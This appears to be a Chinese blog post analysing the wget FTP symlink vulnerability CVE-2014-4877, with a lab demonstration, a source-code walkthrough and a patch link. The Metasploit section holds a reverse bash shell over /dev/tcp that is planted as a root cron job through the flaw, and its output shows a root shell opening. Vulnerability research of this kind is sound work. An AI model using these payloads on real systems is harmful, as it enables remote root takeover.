wget漏洞信息相关el7(CVE-2014-4877)

00漏洞原理:

wget ftp下载符号链接文件时(没开启retr-symlinks 选项),会在本身系统创建一个符号链接,当伪造一个ftp 数据包中有的文件夹符号链接和一个同名文件夹并且真实文件夹中有子文件时,wget递归下载时会把子文件下载到本地文件夹符号链接指向的地址。攻击者通过伪造ftp数据流可在目标任意目录中创建文件、文件夹、连接符号,甚至设置权限、时间等属性。
首次上报该漏洞给Wget开源项目组的人是Rapid7的首席安全官HD Moore,这个漏洞被命名为CVE-2014-4877。
01 漏洞测试(metasploits)

[root@localhost ~]# msfpayload  cmd/unix/reverse_bash LHOST=192.168.8.213  LPORT=4444 R
0<&91-;exec 91<>/dev/tcp/192.168.8.213/4444;sh <&91 >&91 2>&91[root@localhost ~]# 
[root@localhost ~]# cat > cronshell <<EOF                                       PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
* * * * * root bash -c '0<&91-;exec 91<>/dev/tcp/192.168.8.213/4444;sh <&91 >&91 2>&91';rm -f /etc/cron.d/cronshell
EOF

搭建msf监听本地端口

msf >  use exploit/multi/handler
msf exploit(handler) > set PAYLOAD cmd/unix/reverse_bash
PAYLOAD => cmd/unix/reverse_bash
msf exploit(handler) > set LHOST 192.168.8.213
LHOST => 192.168.8.213
msf exploit(handler) >  set LPORT 4444
LPORT => 4444
msf exploit(handler) >  run -j
[*] Exploit running as background job.

[*] Started reverse handler on 192.168.8.213:4444 
msf exploit(handler) > [*] Starting the payload handler...

搭建一个攻击的ftp

msf exploit(handler) >  use auxiliary/server/wget_symlink_file_write
msf auxiliary(wget_symlink_file_write) > set TARGET_FILE /etc/cron.d/cronshell
TARGET_FILE => /etc/cron.d/cronshell
msf auxiliary(wget_symlink_file_write) >  set TARGET_DATA file:cronshell
TARGET_DATA => file:cronshell
msf auxiliary(wget_symlink_file_write) >  set SRVPORT 21
SRVPORT => 21
msf auxiliary(wget_symlink_file_write) > run
[*] Auxiliary module execution completed
msf auxiliary(wget_symlink_file_write) >

攻击结果

[+] Targets should run: $ wget -m ftp://192.168.8.213:21/
[*] Server started.
[*] 192.168.8.213:60178 Logged in with user 'anonymous' and password 'anonymous'...
[*] 192.168.8.213:60178 -> LIST -a
[*] 192.168.8.213:60178 -> CWD /erPBysQCyEO
[*] 192.168.8.213:60178 -> LIST -a
[*] 192.168.8.213:60178 -> RETR cronshell
[+] 192.168.8.213:60178 Hopefully wrote 182 bytes to /etc/cron.d/cronshell
[*] Command shell session 1 opened (192.168.8.213:4444 -> 192.168.8.213:53199) at 2014-11-04 16:56:03 +0800
id
[*] exec: id

uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
msf auxiliary(wget_symlink_file_write) > 
msf auxiliary(wget_symlink_file_write) > sessions

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               192.168.8.213:4444 -> 192.168.8.213:53199 (192.168.8.213)

msf auxiliary(wget_symlink_file_write) > sessions -i 1
[*] Starting interaction with 1...

whoami
root

02 漏洞测试(wget-symlink_attack_exploit)

[root@localhost ~]# python wget-symlink_attack_exploit.py 
ftpd is listening on  127.0.0.1:21
connection from  ('127.0.0.1', 48850) conn_list 0
<< USER anonymous <socket._socketobject object at 0x7f369eff8750>
<< SYST  <socket._socketobject object at 0x7f369eff8750>
<< PWD  <socket._socketobject object at 0x7f369eff8750>
<< TYPE I <socket._socketobject object at 0x7f369eff8750>
<< PASV  <socket._socketobject object at 0x7f369eff8750>
<< LIST -a <socket._socketobject object at 0x7f369eff8750>
<< CWD /fakedir <socket._socketobject object at 0x7f369eff8750>
<< PASV  <socket._socketobject object at 0x7f369eff8750>
<< LIST -a <socket._socketobject object at 0x7f369eff8750>
<< PASV  <socket._socketobject object at 0x7f369eff8750>
<< RETR pwned <socket._socketobject object at 0x7f369eff8750>

攻击结果

[root@localhost ~]# ls -ln /tmp
total 0
-rw-r--r--. 1 0 0 0 Nov  4 17:00 pwned
[root@localhost ~]# ls -lh /tmp |grep pwned
-rw-r--r--. 1 root root 0 Nov  4 17:00 pwned
[root@localhost ~]# ls -lh 127.0.0.1/
total 0
lrwxrwxrwx. 1 root root 4 Nov  4 17:00 fakedir -> /tmp

03 代码分析

  switch (f->type)
1842         {
1843         case FT_SYMLINK:
1844           /* If opt.retr_symlinks is defined, we treat symlinks as
1845              if they were normal files.  There is currently no way
1846              to distinguish whether they might be directories, and
1847              follow them.  */
1848           if (!opt.retr_symlinks) //判断是否开启了retr-symlinks选项
1849             {
1850 #ifdef HAVE_SYMLINK
1851               if (!f->linkto)
1852                 logputs (LOG_NOTQUIET,
1853                          _("Invalid name of the symlink, skipping.\n"));
1854               else
1855                 {
1856                   struct_stat st;
1857                   /* Check whether we already have the correct
1858                      symbolic link.  */
1859                   int rc = lstat (con->target, &st);
1860                   if (rc == 0)
1861                     {
1862                       size_t len = strlen (f->linkto) + 1;
1863                       if (S_ISLNK (st.st_mode))
1864                         {
1865                           char *link_target = (char *)alloca (len);
1866                           size_t n = readlink (con->target, link_target, le     n);
1867                           if ((n == len - 1)
1868                               && (memcmp (link_target, f->linkto, n) == 0))
1869                             {
1870                               logprintf (LOG_VERBOSE, _("\
1871 Already have correct symlink %s -> %s\n\n"),
1872                                          quote (con->target),
1873                                          quote (f->linkto));
1874                               dlthis = false;
1875                               break;
1876                             }
1877                         }
1878                     }
1879                   logprintf (LOG_VERBOSE, _("Creating symlink %s -> %s\n"),
1880                              quote (con->target), quote (f->linkto));
1881                   /* Unlink before creating symlink!  */
1882                   unlink (con->target);
1883                   if (symlink (f->linkto, con->target) == -1) //本地建立文件符号链接
1884                     logprintf (LOG_NOTQUIET, "symlink: %s\n", strerror (err     no));
1885                   logputs (LOG_VERBOSE, "\n");
1886                 } /* have f->linkto */
1887 #else  /* not HAVE_SYMLINK */
1888               logprintf (LOG_NOTQUIET,
1889                          _("Symlinks not supported, skipping symlink %s.\n"     ),
1890                          quote (con->target));
1891 #endif /* not HAVE_SYMLINK */

如上代码,wget 会通过symlink 在本地创建链接文件,指向数据包中链接的地址。当使用 -m/–mirror/-r选项时,递归去获取同名文件夹 fakedir 里面的文件,由于本地的fakedir 文件为符号链接,所以ftp 服务器中的同名fakedir 文件夹子层下面的都会被下载到链接文件指向的地址。
04 代码修复
centos/redhat 提供的patch

wget-1.14-CVE-2014-4877.patch
https://git.centos.org/blob/rpms!wget.git/96e81dcc5e090f23f3d8b46f0c9bd3a76617aa25/SOURCES!wget-1.14-CVE-2014-4877.patch

发表评论

您的电子邮箱地址不会被公开。